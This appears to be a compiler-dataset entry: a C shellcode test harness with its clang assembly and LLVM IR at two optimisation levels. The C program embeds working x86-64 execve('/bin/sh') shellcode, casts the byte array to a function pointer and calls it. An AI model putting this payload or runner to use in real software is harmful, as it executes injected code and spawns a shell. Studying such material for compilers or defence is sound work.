#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */
typedef int /*<<< orphan*/ shell;

/* Variables and functions */
int /*<<< orphan*/ printf(char *, ...);
int strlen(unsigned char const *);
int main() {
  const unsigned char shell[] =
      "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f"
      "\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05";
  printf("[INFO] shellcode length:  %d\n", sizeof(shell));
  printf("[INFO] shellcode length as string:  %d\n", strlen(shell));
  printf("[EXEC] calling ...\n");
  int (*shell_call)() = (int (*)())shell;
  return shell_call();
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x30,%rsp
movl   $0x0,-0x4(%rbp)
mov    0xeca(%rip),%rax
mov    %rax,-0x20(%rbp)
mov    0xec7(%rip),%rax
mov    %rax,-0x18(%rbp)
mov    0xec4(%rip),%rax
mov    %rax,-0x10(%rbp)
mov    0xec2(%rip),%eax
mov    %eax,-0x8(%rbp)
lea    0xebc(%rip),%rdi
mov    $0x1c,%esi
mov    $0x0,%al
call   1040 <printf@plt>
lea    -0x20(%rbp),%rdi
call   1030 <strlen@plt>
mov    %eax,%esi
lea    0xebc(%rip),%rdi
mov    $0x0,%al
call   1040 <printf@plt>
lea    0xed6(%rip),%rdi
mov    $0x0,%al
call   1040 <printf@plt>
lea    -0x20(%rbp),%rax
mov    %rax,-0x28(%rbp)
mov    $0x0,%al
call   *-0x28(%rbp)
add    $0x30,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rbx
sub    $0x20,%rsp
movups 0xed0(%rip),%xmm0
movups %xmm0,0xc(%rsp)
movaps 0xeb8(%rip),%xmm0
movaps %xmm0,(%rsp)
lea    0xec9(%rip),%rdi
mov    $0x1c,%esi
xor    %eax,%eax
call   1050 <printf@plt>
mov    %rsp,%rbx
mov    %rbx,%rdi
call   1040 <strlen@plt>
lea    0xec9(%rip),%rdi
mov    %eax,%esi
xor    %eax,%eax
call   1050 <printf@plt>
lea    0xee1(%rip),%rdi
call   1030 <puts@plt>
xor    %eax,%eax
call   *%rbx
add    $0x20,%rsp
pop    %rbx
ret

LLVM IR (-O0):
@__const.main.shell = [28 x i8] c"1\C0H\BB\D1\9D\96\91\D0\8C\97\FFH\F7\DBST_\99RWT^\B0;\0F\05\00"
@.str = [30 x i8] c"[INFO] shellcode length: %d\0A\00"
@.str.1 = [40 x i8] c"[INFO] shellcode length as string: %d\0A\00"
@.str.2 = [20 x i8] c"[EXEC] calling ...\0A\00"
define i32 @main() {
%1 = alloca i32
%2 = alloca [28 x i8]
%3 = alloca i32 (...)*
store i32 0, i32* %1
%4 = bitcast [28 x i8]* %2 to i8*
%5 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([30 x i8], [30 x i8]* @.str, i64 0, i64 0), i64 28)
%6 = getelementptr inbounds [28 x i8], [28 x i8]* %2, i64 0, i64 0
%7 = call i32 @strlen(i8* %6)
%8 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([40 x i8], [40 x i8]* @.str.1, i64 0, i64 0), i32 %7)
%9 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([20 x i8], [20 x i8]* @.str.2, i64 0, i64 0))
%10 = getelementptr inbounds [28 x i8], [28 x i8]* %2, i64 0, i64 0
%11 = bitcast i8* %10 to i32 (...)*
store i32 (...)* %11, i32 (...)** %3
%12 = load i32 (...)*, i32 (...)** %3
%13 = call i32 (...) %12()
ret i32 %13
}

LLVM IR (-O2):
@__const.main.shell = [28 x i8] c"1\C0H\BB\D1\9D\96\91\D0\8C\97\FFH\F7\DBST_\99RWT^\B0;\0F\05\00"
@.str = [30 x i8] c"[INFO] shellcode length: %d\0A\00"
@.str.1 = [40 x i8] c"[INFO] shellcode length as string: %d\0A\00"
@str = [19 x i8] c"[EXEC] calling ...\00"
define i32 @main() {
%1 = alloca [28 x i8]
%2 = getelementptr inbounds [28 x i8], [28 x i8]* %1, i64 0, i64 0
%3 = tail call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([30 x i8], [30 x i8]* @.str, i64 0, i64 0), i64 28)
%4 = call i32 @strlen(i8* %2)
%5 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([40 x i8], [40 x i8]* @.str.1, i64 0, i64 0), i32 %4)
%6 = call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([19 x i8], [19 x i8]* @str, i64 0, i64 0))
%7 = bitcast [28 x i8]* %1 to i32 (...)*
%8 = call i32 (...) %7()
ret i32 %8
}